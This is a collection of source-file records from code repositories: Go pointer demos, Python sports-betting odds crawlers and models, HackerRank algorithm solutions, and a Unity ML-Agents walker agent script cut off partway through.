"alpha_fraction": 0.5910780429840088,
"alphanum_fraction": 0.6022304892539978,
"avg_line_length": 12.350000381469727,
"blob_id": "43b0a11e852ce3854385ad7eced31d26c177d3b6",
"content_id": "6d6bb5b9e07ddf1b7fbd23d9b1c896d33e78e163",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Go",
"length_bytes": 269,
"license_type": "no_license",
"max_line_length": 38,
"num_lines": 20,
"path": "/go_pointers/struct_pointer.go",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "package main\n\nimport \"fmt\"\n\ntype MyStruct struct {\n\tMyInt int\n}\n\nfunc update_struct(x *MyStruct) {\n\tx.MyInt=1 /* why not *x.MyInt=1 ? */\n}\n\nfunc main() {\n\tx := MyStruct{\n\tMyInt: 0,\n\t}\n\tfmt.Printf(\"Before: %v\\n\", x)\n\tupdate_struct(&x)\n\tfmt.Printf(\"After: %v\\n\", x)\n}\n\n\n"
},
{
"alpha_fraction": 0.44427934288978577,
"alphanum_fraction": 0.4621099531650543,
"avg_line_length": 31.047618865966797,
"blob_id": "edc7833d596f3ee36c48aab43abf1af9cb774e12",
"content_id": "4104d7c9cb245fcf4c330e1eae2135164e211088",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1346,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 42,
"path": "/models/survival_factors.py",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "import math\n\ndef default_activation(q1, q2):\n e1, e2 = math.exp(q1), math.exp(q2)\n return e1/(e1+e2)\n\ndef calc_survival_factors(q, fn=default_activation):\n rounds=int(math.log(len(q), 2))\n if rounds!=int(rounds):\n raise RuntimeError(\"N is not a factor of 2\")\n n, sf = len(q), []\n def new_row(val):\n sf.append([val for i in range(n)])\n new_row(float(1))\n for rnd in range(rounds):\n new_row(float(0))\n groupsz=2**(rnd+1)\n quadsz, ngroups =(groupsz/2,\n n/groupsz) \n for grp in range(ngroups):\n for i in range(groupsz):\n for j in range(groupsz):\n iquad, jquad = (i/quadsz, \n j/quadsz)\n if iquad==jquad: # exit if in same quadrant\n continue\n x, y = (i+grp*groupsz, \n j+grp*groupsz)\n sf[-1][x]+=sf[-2][x]*sf[-2][y]*fn(q[x], q[y])\n return sf\n \nif __name__==\"__main__\":\n try:\n import random\n q=[random.gauss(0, 1) \n for i in range(128)]\n sf=calc_survival_factors(q)\n for row in sf:\n print sum(row)\n print sf\n except RuntimeError, error:\n print \"Error: %s\" % str(error)\n"
},
{
"alpha_fraction": 0.6028037667274475,
"alphanum_fraction": 0.6028037667274475,
"avg_line_length": 14.142857551574707,
"blob_id": "23b97d115f5bf88776a580657bdf68f0c7bf6b08",
"content_id": "0a854eb1b15f22c134796dd79c9150a596437757",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Go",
"length_bytes": 214,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 14,
"path": "/go_pointers/map.go",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "package main\n\nimport \"fmt\"\n\nfunc update_map(x map[string](string)) {\n\tx[\"hello\"]=\"world\"\n}\n\nfunc main() {\n\tx := map[string](string){}\n\tfmt.Printf(\"Before: %v\\n\", x)\n\tupdate_map(x)\n\tfmt.Printf(\"After: %v\\n\", x)\n}\n\n\n"
},
{
"alpha_fraction": 0.5508981943130493,
"alphanum_fraction": 0.5628742575645447,
"avg_line_length": 10.785714149475098,
"blob_id": "36972f05d4cdd6e8207d0988c6a533afc8a4b389",
"content_id": "481bad2d14e35e80379bd396465f3f7d00d71d4d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Go",
"length_bytes": 167,
"license_type": "no_license",
"max_line_length": 30,
"num_lines": 14,
"path": "/go_pointers/int_pointer.go",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "package main\n\nimport \"fmt\"\n\nfunc update_int(x *int) {\n\t*x+=1\n}\n\nfunc main() {\n\tx := 0\n\tfmt.Printf(\"Before: %v\\n\", x)\n\tupdate_int(&x)\n\tfmt.Printf(\"After: %v\\n\", x)\n}\n\n\n"
},
{
"alpha_fraction": 0.7186146974563599,
"alphanum_fraction": 0.7251082062721252,
"avg_line_length": 40.90909194946289,
"blob_id": "b90815263cbc36e895287279d5b7ce22991ebbe9",
"content_id": "1c23f9915775e62c234021a6c995c719312c0c59",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Go",
"length_bytes": 924,
"license_type": "no_license",
"max_line_length": 642,
"num_lines": 22,
"path": "/go_pointers/slice_append_pointer.go",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "/*\n\n https://groups.google.com/forum/#!msg/golang-nuts/QRkJIRIrVLM/QV9MbFJqkJkJ\n\n In reality the assertion that slices are passed as reference is a bit off. Everything is passed by value in Go, but a slice is actually a triplet structure. It contains a pointer to an array, a length and a capacity field. You can pass this directly without a pointer since it's not much overhead (1 pointer + 2 ints vs 1 pointer). The result is that if you modify just the array contents, your modifications will get reflected nicely (http://play.golang.org/p/ahXnRXLcrP). However, if you modify any of the defining triplets (ptr, len, cap) - which append does - you do need the slice pointer since you'll lose the modifications otherwise.\n \n */\n\npackage main\n\nimport \"fmt\"\n\nfunc update_slice(x *[]int) {\n\t*x = append(*x, 1)\n}\n\nfunc main() {\n\tx := []int{0}\n\tfmt.Printf(\"Before: %v\\n\", x)\n\tupdate_slice(&x)\n\tfmt.Printf(\"After: %v\\n\", x)\n}\n\n\n"
},
{
"alpha_fraction": 0.5434719324111938,
"alphanum_fraction": 0.5533585548400879,
"avg_line_length": 34.82291793823242,
"blob_id": "ade2a34613952205787c69d20d366387552c541a",
"content_id": "f3d3b2a64a84c91291d116b3b53d96e40a975dec",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3439,
"license_type": "no_license",
"max_line_length": 91,
"num_lines": 96,
"path": "/crawlers/stan_james.py",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "from lxml import etree\n\nimport urllib\n\nUrlPatterns={\n \"root\": \"http://www.stanjames.com/cache/boNavigationList/541/UK/%s.xml\",\n \"group\": \"http://www.stanjames.com/cache/marketgroup/UK/%s.xml\",\n \"event\": \"http://www.stanjames.com/cache/event/UK/%s.xml\",\n \"market\": \"http://www.stanjames.com/cache/market/UK/%s.xml\"\n }\n\ndef get_categories_for_sport(sport): \n url=UrlPatterns[\"root\"] % sport[\"id\"]\n doc=etree.fromstring(urllib.urlopen(url).read())\n return [{\"name\": el.xpath(\"name\")[0].text,\n \"id\": el.xpath(\"idfwbonavigation\")[0].text}\n for el in doc.xpath(\"//bonavigationnode\")]\n\ndef get_groups_for_category(category):\n url=UrlPatterns[\"root\"] % category[\"id\"]\n doc=etree.fromstring(urllib.urlopen(url).read())\n return [{\"name\": el.xpath(\"name\")[0].text,\n \"id\": el.xpath(\"idfwmarketgroup\")[0].text}\n for el in doc.xpath(\"//marketgroup\")]\n\ndef get_events_for_group(group):\n url=UrlPatterns[\"group\"] % group[\"id\"]\n doc=etree.fromstring(urllib.urlopen(url).read())\n return [{\"name\": el.xpath(\"eventname\")[0].text,\n \"id\": el.xpath(\"idfoevent\")[0].text}\n for el in doc.xpath(\"//market\")]\n\ndef get_markets_for_event(event):\n url=UrlPatterns[\"event\"] % event[\"id\"]\n doc=etree.fromstring(urllib.urlopen(url).read())\n return [{\"name\": el.xpath(\"name\")[0].text,\n \"id\": el.xpath(\"idfomarket\")[0].text}\n for el in doc.xpath(\"//market\")]\n\ndef get_selections_for_market(market):\n url=UrlPatterns[\"market\"] % market[\"id\"]\n doc=etree.fromstring(urllib.urlopen(url).read())\n return [{\"name\": el.xpath(\"name\")[0].text,\n \"id\": el.xpath(\"idfoselection\")[0].text,\n \"price\": \"%s/%s\" % (el.xpath(\"currentpriceup\")[0].text,\n el.xpath(\"currentpricedown\")[0].text)}\n for el in doc.xpath(\"//selection\")]\n\nimport re, time\n\nSportIds={\"Football\": \"58974.2\"}\n\nHandlers=[get_categories_for_sport,\n get_groups_for_category,\n get_events_for_group,\n get_markets_for_event,\n get_selections_for_market]\n\ndef crawl_events(path, wait=1):\n tokens=path.split(\"/\")\n if tokens[0] not in SportIds:\n raise RuntimeError(\"Sport not found\")\n stack, results = [], []\n stack.append(({\"name\": tokens[0],\n \"id\": SportIds[tokens[0]]}, \n [tokens[0]],\n 0))\n while True:\n if stack==[]:\n break\n head, stack = stack[0], stack[1:]\n parent, path, depth = head\n print \"/\".join(path)\n handler=Handlers[depth]\n if depth < len(tokens)-1:\n stack+=[(result, \n path+[result[\"name\"]],\n depth+1)\n for result in handler(parent)\n if re.search(tokens[depth+1], result[\"name\"])]\n else:\n for result in handler(parent):\n result[\"path\"]=path+[result[\"name\"]]\n results.append(result)\n time.sleep(wait)\n return results\n\nif __name__==\"__main__\":\n try:\n results=crawl_events(\"Football/^English Premier League$/Matches/ v /Match Betting\")\n for result in results:\n print (\"%s/%s\" % (result[\"path\"][-3], \n result[\"path\"][-1]),\n result[\"price\"])\n except RuntimeError, error:\n print \"Error: %s\" % str(error)\n"
},
{
"alpha_fraction": 0.530386745929718,
"alphanum_fraction": 0.5404319167137146,
"avg_line_length": 27.014083862304688,
"blob_id": "e9a2a8a116363884c83502313f125251dc76f133",
"content_id": "b1f42d616d2595aa31ca1e054c60fc62e5434850",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1991,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 71,
"path": "/feeds/football_data.py",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "\"\"\"\nNB currently returns date, score and best match odds probabilities for bookmakers listed below\n\"\"\"\n\n\"\"\"\nhttp://football-data.co.uk/notes.txt\n\"\"\"\n\nimport csv, datetime, urllib, yaml\n\nBookmakers=yaml.load(\"\"\"\nB365: Bet365\nLB: Ladbrokes\nSJ: Stan James\nPS: Pinnacle\nVC: Victor Chandler\nWH: William Hill\n\"\"\")\n\nOutcomes=[\"H\", \"A\", \"D\"]\n\ndef parse_date(text):\n day, month, year = [int(tok) \n for tok in text.split(\"/\")]\n year+=2000\n return datetime.date(*[year, month, day])\n\ndef aggregate_probabilities(item):\n prices={}\n for bookiecode in Bookmakers.keys(): \n for attr in Outcomes:\n key=bookiecode+attr\n if (key not in item or\n item[key] in ['']):\n continue\n price=float(item[key]) \n if (attr not in prices or\n price > prices[attr]):\n prices[attr]=price\n probs=[]\n for attr in Outcomes:\n if attr not in prices:\n probs.append(None)\n else:\n probs.append(1/float(prices[attr]))\n if None in probs:\n return None\n else:\n return probs\n\ndef get_results(url):\n reader=csv.reader(urllib.urlopen(url))\n titles=reader.next()\n items=[dict([(title, value)\n for title, value in zip(titles, row)])\n for row in reader]\n results=[{\"date\": parse_date(item[\"Date\"]),\n \"home_team\": item[\"HomeTeam\"],\n \"away_team\": item[\"AwayTeam\"],\n \"score\": (int(item[\"FTHG\"]),\n int(item[\"FTAG\"])),\n \"probabilities\": aggregate_probabilities(item)}\n for item in items\n if (item[\"FTHG\"] not in [None, \"\"] and\n item[\"FTAG\"] not in [None, \"\"])] # NB can be blank\n for result in results:\n result[\"overround\"]=sum(result[\"probabilities\"])\n return results\n\nif __name__==\"__main__\":\n print get_results(\"http://www.football-data.co.uk/mmz4281/1314/E0.csv\")\n\n\n"
},
{
"alpha_fraction": 0.8255033493041992,
"alphanum_fraction": 0.8255033493041992,
"avg_line_length": 20.14285659790039,
"blob_id": "e5934131916a5962e2346e4547bcd9ac4990d366",
"content_id": "af5154f77b56c6a7232fe5da0e64b27a5f14b106",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 149,
"license_type": "no_license",
"max_line_length": 39,
"num_lines": 7,
"path": "/mapreduce-appengine/pipeline_main.py",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "from google.appengine.ext import webapp\n\nfrom pipeline import pipeline\n\nRouting=pipeline.create_handlers_map()\n\napp=webapp.WSGIApplication(Routing)\n\n"
},
{
"alpha_fraction": 0.6041856408119202,
"alphanum_fraction": 0.6135880947113037,
"avg_line_length": 26.705883026123047,
"blob_id": "714d95d2db2d7f8a84030d488035abd41eaf0e5d",
"content_id": "5e68cf0badc9f5363cc84dda967cd28be8e476fe",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3297,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 119,
"path": "/mapreduce-appengine/controllers/wordcount.py",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "\"\"\"\nhttps://code.google.com/p/appengine-pipeline/wiki/GettingStarted\n\"\"\"\n\nfrom google.appengine.api import memcache, urlfetch\n\nfrom pipeline import pipeline\n\nimport json, logging, webapp2 yaml\n\n\"\"\"\nhttp://stackoverflow.com/questions/3973325/remove-all-html-in-python\n\"\"\"\n\ndef strip_tags(url):\n from lxml import html\n from lxml.html.clean import clean_html\n tree=html.parse(url)\n tree=clean_html(tree)\n text=tree.getroot().text_content()\n return text.split()\n\ndef random_key(n=32):\n import random\n charset=[]\n for offset in [65, 97]:\n charset+=[chr(i+offset)\n for i in range(26)]\n return \"\".join([charset[int(random.random()*len(charset))]\n for i in range(n)])\n\nclass MapPipeline(pipeline.Pipeline):\n\n def run(self, stage_id, url):\n logging.info(\"Running map pipeline for: %s\" % url)\n words=strip_tags(url)\n map_id=random_key()\n memcache.set(\"words/%s/%s\" % (stage_id, map_id),\n json.dumps(words))\n return map_id\n\n def finalized(self):\n pass\n\n\"\"\"\nwhat if data isn't found in memcache ? how to handle errors ?\n\"\"\"\n\nclass ReducePipeline(pipeline.Pipeline):\n\n def run(self, stage_id, *map_ids):\n logging.info(\"Running reduce pipeline\")\n count=0\n for map_id in map_ids:\n words=json.loads(memcache.get(\"words/%s/%s\" % (stage_id, map_id)))\n count+=len(words)\n results={\"total\": count}\n memcache.set(\"results/%s\" % stage_id, json.dumps(results))\n\n def finalized(self):\n pass\n\nclass MapReducePipeline(pipeline.Pipeline):\n\n def run(self, stage_id):\n logging.info(\"Running mapreduce pipeline\")\n urls=json.loads(memcache.get(\"request/%s\" % stage_id))\n map_ids=[(yield MapPipeline(stage_id, url))\n for url in urls]\n yield ReducePipeline(stage_id, *map_ids)\n\n def finalized(self):\n pass\n\nSampleUrls=yaml.load(\"\"\"\n- http://www.bbc.co.uk/news\n- http://www.guardian.co.uk/\n\"\"\")\n\n\"\"\"\ncurl http://localhost:8080/wordcount/start\n\"\"\"\n\nclass StartHandler(webapp2.RequestHandler):\n\n def get(self): \n stage_id=random_key()\n memcache.set(\"request/%s\" % stage_id, json.dumps(SampleUrls))\n stage=MapReducePipeline(stage_id)\n stage.start(queue_name=\"default\")\n self.response.headers['Content-Type']='text/plain'\n self.response.write(stage_id)\n\n\"\"\"\ncurl \"http://localhost:8080/wordcount/results?id=#{id}\"\n\"\"\"\n\n\nclass ResultsHandler(webapp2.RequestHandler):\n \n def get(self):\n try:\n stage_id=self.request.get(\"id\")\n if stage_id=='':\n raise RuntimeError(\"Please supply id\")\n results=memcache.get(\"results/%s\" % stage_id)\n if results in [None, \"\"]:\n raise RuntimeError(\"Results not found\")\n self.response.headers['Content-Type']='application/json'\n self.response.write(results)\n except RuntimeError, error: \n self.response.set_status(400)\n self.response.headers['Content-Type']='text/plain'\n self.response.write(str(error))\n\nRouting=[('/wordcount/start.*', StartHandler),\n ('/wordcount/results.*', ResultsHandler)]\n\napp=webapp2.WSGIApplication(Routing)\n"
},
{
"alpha_fraction": 0.6015037298202515,
"alphanum_fraction": 0.6208378076553345,
"avg_line_length": 50.72222137451172,
"blob_id": "81c6ae9defb8fea528ec0505a436537b6ba413c1",
"content_id": "887120cb690aba30c56672144b63ec0ce6b45a61",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 931,
"license_type": "no_license",
"max_line_length": 155,
"num_lines": 18,
"path": "/feeds/sporting_index.py",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "import lxml.html, json, re, urllib\n\nLivePricingUrl=\"http://livepricing.sportingindex.com/LivePricing.svc/jsonp/GetLivePricesByMeeting?meetingKey=\"\n\ndef get_prices(url): \n doc=lxml.html.fromstring(urllib.urlopen(url).read())\n ids=dict([(li.attrib[\"key\"], re.sub(\" Points$\", \"\", li.xpath(\"span[@class='markets']\")[0].text))\n for li in doc.xpath(\"//ul[@class='prices']/li\")\n if \"key\" in li.attrib])\n quotes=json.loads(urllib.urlopen(LivePricingUrl+url.split(\"/\")[-2]).read())\n return [{\"name\": ids[quote[\"Key\"]],\n \"so_far\": tuple([int(tok) for tok in quote[\"SoFar\"].split(\"/\")]),\n \"bid\": quote[\"Sell\"],\n \"offer\": quote[\"Buy\"]}\n for quote in quotes[\"Markets\"]]\n\nif __name__==\"__main__\":\n print get_prices(\"http://www.sportingindex.com/spread-betting/football-domestic/premier-league/mm4.uk.meeting.4191659/premier-league-points-2013-2014\")\n"
},
{
"alpha_fraction": 0.5811518430709839,
"alphanum_fraction": 0.5811518430709839,
"avg_line_length": 12.5,
"blob_id": "a8dc2762470790011efa3aed7c088585cf708106",
"content_id": "18f57d7018bb0e6353b16341887d122ac2b5fa7f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Go",
"length_bytes": 191,
"license_type": "no_license",
"max_line_length": 31,
"num_lines": 14,
"path": "/go_pointers/string_pointer.go",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "package main\n\nimport \"fmt\"\n\nfunc update_string(x *string) {\n\t*x+=\"!\"\n}\n\nfunc main() {\n\tx := \"Hello World\" \n\tfmt.Printf(\"Before: %v\\n\", x)\n\tupdate_string(&x)\n\tfmt.Printf(\"After: %v\\n\", x)\n}\n\n\n"
}
] | 23 |
mutdmour/HackerRank | https://github.com/mutdmour/HackerRank | 47fb6a2bb452d669519e1c8ea64bf1100fae5ced | d758e846e28424692c6b96396fcad1128c5d66c4 | a14838510f6361fa64b7cb52ebb1c3245c89e6b5 | refs/heads/master | 2021-01-10T06:49:11.656001 | 2015-11-22T15:22:32 | 2015-11-22T15:22:32 | 46,629,557 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.837837815284729,
"alphanum_fraction": 0.837837815284729,
"avg_line_length": 17.5,
"blob_id": "d96b5f5eeeeeb0a3a4e0b34eba423dd3a27a1fe1",
"content_id": "c69b59c63015fdd0f3083739186bee9308cf9ff0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 37,
"license_type": "no_license",
"max_line_length": 23,
"num_lines": 2,
"path": "/README.md",
"repo_name": "mutdmour/HackerRank",
"src_encoding": "UTF-8",
"text": "# HackerRank\nHackerrank.com problems\n"
},
{
"alpha_fraction": 0.3700680136680603,
"alphanum_fraction": 0.3877550959587097,
"avg_line_length": 28.399999618530273,
"blob_id": "1097f081e12bc62c2b52533ac66370fed98e3682",
"content_id": "896680cbb405462ccfb73d6714365e387d5ff372",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 735,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 25,
"path": "/Algorithms/Dynamic Programming/CoinChange.py",
"repo_name": "mutdmour/HackerRank",
"src_encoding": "UTF-8",
"text": "#soln does not work yet\ndef coinChange(N,coins):\n map = {}\n for i in xrange(N+1):\n map[i] = []\n for c in coins:\n if i >= c:\n if (i-c == 0):\n if not i in map:\n map[i] = [[c],]\n else:\n map[i].append([c])\n else:\n for l in map[i-c]:\n k = sorted(l+[c])\n if not k in map[i]:\n map[i].append(k)\n print map[i]\n return len(map[N])\n\nN = int(raw_input().split()[0])\nlst = map(lambda x: int(x), raw_input().split())\nprint coinChange(N,lst)\n#print coinChange(4,[1,2,3])\n#print coinChange(10,[2,5,3,6])\n"
},
{
"alpha_fraction": 0.44711539149284363,
"alphanum_fraction": 0.49038460850715637,
"avg_line_length": 17.909090042114258,
"blob_id": "d1343ccc92dbe333f20b0ddee28f08b3e68cf3ea",
"content_id": "81adead3e41abefcab9c8e84a5b199e58e021369",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 208,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 11,
"path": "/Algorithms/Dynamic Programming/FibonacciModified.py",
"repo_name": "mutdmour/HackerRank",
"src_encoding": "UTF-8",
"text": "# 0, 1\n# Tn + Tn+1**2 = Tn+2\n# A + B**2\n\ndef modfib(A,B,n,c=2):\n if (c == n):\n return B\n return modfib(B,A+B**2, n, c+1)\n\nA,B,n = map(lambda x: int(x),raw_input().split(\" \"))\nprint modfib(A,B,n)\n"
},
{
"alpha_fraction": 0.5142207145690918,
"alphanum_fraction": 0.5460751056671143,
"avg_line_length": 24.114286422729492,
"blob_id": "b214e3f7888391f9232a5dc0257c1f54ee9904de",
"content_id": "0ea1d3b51d487bd621766fb0867d73f0ebc07135",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 879,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 35,
"path": "/Algorithms/Dynamic Programming/MaxSubarray.py",
"repo_name": "mutdmour/HackerRank",
"src_encoding": "UTF-8",
"text": "#using Kadane method\n#keep track of current and max sums\n\n#get max for contiguous\ndef kadane(lst):\n maxSum = 0\n curSum = 0 \n smallestNeg = None\n for i in lst:\n if (curSum + i > 0):\n curSum = curSum + i\n if (curSum > maxSum):\n maxSum = curSum\n else:\n curSum = 0\n if (smallestNeg == None):\n smallestNeg = i\n elif (smallestNeg < i):\n smallestNeg = i\n return maxSum if maxSum > 0 else smallestNeg\n\n# max for noncontiguous\ndef sortedmax(lst):\n return kadane(sorted(lst))\nT = input()\nfor _ in xrange(T):\n N = input()\n lst = map(lambda x: int(x),raw_input().split(\" \"))\n print kadane(lst), sortedmax(lst)\n\n#print kadane([1,2,3,4])\n#print kadane([2,-1,2,3,4,-5])\n#print kadane([10,1,-11,1,2,3,4])\n#print kadane([])\n#print kadane([-1,-2,-3,-4])\n"
},
{
"alpha_fraction": 0.31431591510772705,
"alphanum_fraction": 0.39672479033470154,
"avg_line_length": 34.71697998046875,
"blob_id": "f504eac8d5fdf4408bd830016a7e5050798154f6",
"content_id": "24856faaaa76002740ebad7d834832feaf384b6c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1893,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 53,
"path": "/Algorithms/Dynamic Programming/candies.py",
"repo_name": "mutdmour/HackerRank",
"src_encoding": "UTF-8",
"text": "#soln is bad\ndef candies(lst, c = None, i=0):\n if c==None:\n c = [1]*len(lst)\n if (i >= len(lst)):\n return c\n #return sum(lst)\n if (i >= 0):\n #print \"yo\", i\n if (i+1 < len(lst)):\n if (lst[i] > lst[i+1] and c[i] <= c[i+1]):\n #print \"hey\"\n if (i > 0 and c[i+1] <= c[i-1]):\n c[i] = min(c[i-1],c[i+1]) + 1\n print \"lol\"\n if (lst[i] < lst[i-1] and not (c[i] < c[i-1])):\n #print \"damn\",c\n return candies(lst,c, i-1)\n else:\n #print \"more\", i\n c[i] = c[i+1] + 1\n #if (lst[i] < lst[i-1] and c[i] >= c[i-1]):\n #return candies(lst,c, i-1)\n elif (lst[i] > lst[i-1] and i > 0):\n #print \"so\"\n c[i] = c[i-1] + 1\n elif (i+1 == len(lst)):\n if (lst[i] > lst[i-1]): #and c[i] <= c[i-1]\n c[i] = c[i-1] + 1\n #print \"k\"\n return candies(lst,c,i+1)\n \nif __name__ == '__main__':\n assert(candies([])==[])\n assert(candies([1])==[1])\n assert(candies([1,1])==[1,1])\n assert(candies([1,2])==[1,2])\n assert(candies([2,1])==[2,1])\n assert(candies([2,2])==[1,1])\n assert(candies([1,1,2])==[1,1,2])\n assert(candies([1,2,1])==[1,2,1])\n assert(candies([2,1,1])==[2,1,1])\n assert(candies([1,2,2])==[1,2,1])\n assert(candies([2,2,1])==[1,2,1])\n assert(candies([2,1,2])==[2,1,2])\n assert(candies([2,2,2])==[1,1,1])\n assert(candies([4,3,2])==[3,2,1])\n assert(candies([2,3,4])==[1,2,3])\n assert(candies([2,3,4,5])==[1,2,3,4])\n assert(candies([2,3,1,4,5])==[1,2,1,2,3])\n assert(candies([2,5,3,1,4,5])==[1,3,2,1,2,3])\n print (candies([2,5,3,1,4,5,3,4]))\n assert(candies([2,5,3,1,4,5,3,4])==[1,3,2,1,2,3,1,2])\n"
}
] | 5 |
natetrue/ml-agents | https://github.com/natetrue/ml-agents | a2d921cf404c9175104a30ee28848ed43f92f1da | 273dbbeb14e8f05deafa9d9d10abf33cd8acdd9c | 1563ff05b92b78930d62abda948a37b48189802a | refs/heads/master | 2020-05-18T12:49:23.397576 | 2019-05-13T20:46:10 | 2019-05-13T20:46:10 | 184,418,458 | 0 | 0 | null | 2019-05-01T13:14:44 | 2019-05-01T12:51:36 | 2019-04-30T23:48:36 | null | [
{
"alpha_fraction": 0.5739506483078003,
"alphanum_fraction": 0.6011529564857483,
"avg_line_length": 35.281044006347656,
"blob_id": "5235d937a76e09f3b28cdb28a30c09eb6362f07f",
"content_id": "69088d5386af1ff86dc292f224fe1a34649609ec",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 5553,
"license_type": "permissive",
"max_line_length": 116,
"num_lines": 153,
"path": "/UnitySDK/Assets/ML-Agents/Examples/SlamWalker/Scripts/SlamWalkerAgent.cs",
"repo_name": "natetrue/ml-agents",
"src_encoding": "UTF-8",
"text": "using System;\nusing System.Collections;\nusing System.Collections.Generic;\nusing System.Text.RegularExpressions;\nusing System.Linq;\nusing UnityEngine;\nusing Random = UnityEngine.Random;\nusing MLAgents;\n\n[RequireComponent(typeof(CharacterController))]\npublic class SlamWalkerAgent : Agent\n{\n public GameObject area;\n private SlamWalkerArea myArea;\n private RayPerception rayPer;\n private CharacterController charCon;\n public bool useVectorObs;\n \n private CollisionFlags lastMoveCollisionFlags;\n\n public TextAsset locationList;\n private List<Vector3> resetLocations;\n\n public override void InitializeAgent()\n {\n base.InitializeAgent();\n myArea = area.GetComponent<SlamWalkerArea>();\n rayPer = GetComponent<RayPerception>();\n charCon = GetComponent<CharacterController>();\n\n\n string[] fLines = Regex.Split ( locationList.text, \"\\n|\\r|\\r\\n\" );\n resetLocations = new List<Vector3>(fLines.Length);\n var commaRE = new Regex(\",\");\n for ( int i=0; i < fLines.Length; i++ ) \n { \n string[] values = commaRE.Split ( fLines[i] );\n var loc = new Vector3(float.Parse(values[0]), float.Parse(values[1]), float.Parse(values[2]));\n resetLocations.Add(loc);\n }\n }\n\n public override void CollectObservations()\n {\n if (useVectorObs)\n {\n AddVectorObs(transform.position - area.transform.position);\n AddVectorObs(transform.eulerAngles.y / 180f * Mathf.PI);\n // const float rayDistance = 35f;\n // float[] rayAngles = {20f, 90f, 160f, 45f, 135f, 70f, 110f};\n // float[] rayAngles1 = {25f, 95f, 165f, 50f, 140f, 75f, 115f};\n // float[] rayAngles2 = {15f, 85f, 155f, 40f, 130f, 65f, 105f};\n\n // string[] detectableObjects = {\"block\", \"wall\", \"goal\", \"switchOff\", \"switchOn\", \"stone\"};\n // AddVectorObs(rayPer.Perceive(rayDistance, rayAngles, detectableObjects, 0f, 0f));\n // AddVectorObs(rayPer.Perceive(rayDistance, rayAngles1, detectableObjects, 0f, 5f));\n // AddVectorObs(rayPer.Perceive(rayDistance, rayAngles2, detectableObjects, 0f, 10f));\n // AddVectorObs(switchLogic.GetState());\n RaycastHit hit;\n if (Physics.SphereCast(transform.position, 0.5f, transform.forward, out hit, 10f)) {\n AddVectorObs(hit.distance);\n }\n else {\n AddVectorObs(10);\n }\n AddVectorObs(((lastMoveCollisionFlags & CollisionFlags.Sides) != 0) ? 1 : 0);\n }\n }\n\n public void MoveAgent(float[] act)\n {\n // Action parameters: move distance forward in meters, move distance right in meters, rotation / 90 degrees\n var rotateAmt = 0f;\n\n if (brain.brainParameters.vectorActionSpaceType == SpaceType.continuous)\n {\n var prevPos = transform.position;\n\n lastMoveCollisionFlags = charCon.Move(\n transform.forward * Mathf.Clamp(act[0], -1f, 1f) \n + transform.right * Mathf.Clamp(act[1], -1f, 1f) \n + transform.up * -0.5f\n );\n\n // Detect a fall and treat it like a collision\n var prefallPosition = transform.position;\n charCon.Move(transform.up * -100f);\n if ((transform.position - prefallPosition).magnitude > 0.5) {\n // Fell! Restore old position\n charCon.enabled = false;\n transform.position = prevPos;\n charCon.enabled = true;\n lastMoveCollisionFlags = CollisionFlags.Sides;\n }\n \n rotateAmt = Mathf.Clamp(act[2], -1f, 1f) * 90f;\n transform.Rotate(transform.up, rotateAmt); \n }\n\n }\n\n public override void AgentAction(float[] vectorAction, string textAction)\n {\n if (vectorAction[3] > 0.5f) {\n AgentReset();\n }\n AddReward(-1f / agentParameters.maxStep);\n MoveAgent(vectorAction);\n }\n\n public override void AgentReset()\n {\n int spawnPoint = Random.Range(1, resetLocations.Count);\n Vector3 spawnVec = resetLocations[spawnPoint];\n\n Debug.LogWarning(String.Format(\"Choosing spawn point {0} at {1}\", spawnPoint, spawnVec));\n\n charCon.enabled = false;\n transform.position = spawnVec;\n transform.rotation = Quaternion.Euler(new Vector3(0f, Random.Range(0, 360)));\n charCon.enabled = true;\n\n // Immediately move down to the ground\n charCon.Move(transform.up * -100);\n\n // And wander in some direction and turn some other direction\n 